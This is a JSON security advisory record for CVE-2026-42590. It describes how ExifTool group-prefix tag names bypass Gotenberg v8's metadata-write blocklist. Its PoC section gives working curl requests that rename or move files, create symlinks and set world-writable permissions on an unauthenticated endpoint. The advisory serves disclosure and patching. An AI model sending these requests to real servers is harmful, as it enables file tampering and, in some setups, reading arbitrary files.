CVE-2026-42590: Github.com/gotenberg/gotenberg/v8 Gotenberg's ExifTool Group-prefix Syntax Bypasses Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7v3r-m9c8-r855",
  "modified" : "2026-07-21T13:51:55Z",
  "published" : "2026-05-07T00:55:44Z",
  "aliases" : [ "CVE-2026-42590" ],
  "summary" : "Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist",
  "details" : "**Summary**\n\nThe ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.\n\n**Details**\n\nThe blocklist in `pkg/modules/exiftool/exiftool.go` filters four dangerous pseudo-tags (`FileName`, `Directory`, `HardLink`, `SymLink`) using `strings.EqualFold(key, tag)`. However, ExifTool supports group-prefix syntax where `File:FileName` is processed identically to `FileName` -- the prefix is stripped by `SetNewValue` in `Writer.pl` before tag matching.\n\nThe `safeKeyPattern` regex (`^[a-zA-Z0-9\\-_.:]+$`) allows colons, so prefixed tag names pass validation. Any prefix works: `File:FileName`, `System:Directory`, `a:HardLink`, etc.\n\nAdditionally, `FilePermissions`, `FileUserID`, and `FileGroupID` pseudo-tags are not blocked at all and can modify file attributes without any prefix.\n\n**PoC**\n\n```bash\n# Rename the converted PDF (bypasses FileName blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:FileName\":\"pwned.pdf\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Move the file to /tmp (bypasses Directory blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:Directory\":\"/tmp\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Create a symlink (bypasses SymLink blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"File:SymLink\":\"/tmp/symlink-poc\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Change file permissions (not blocked at all)\ncurl -F \"files=@test.pdf\" \\\n  -F 'metadata={\"FilePermissions\":\"rwxrwxrwx\"}' \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n```\n\n**Impact**\n\nPre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.\n\nThis is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotenberg/gotenberg/v8"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "8.29.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-7v3r-m9c8-r855"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42590"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-qmwh-9m9c-h36m"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gotenberg/gotenberg"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T00:55:44Z",
    "nvd_published_at" : "2026-05-14T16:16:22Z"
  }
}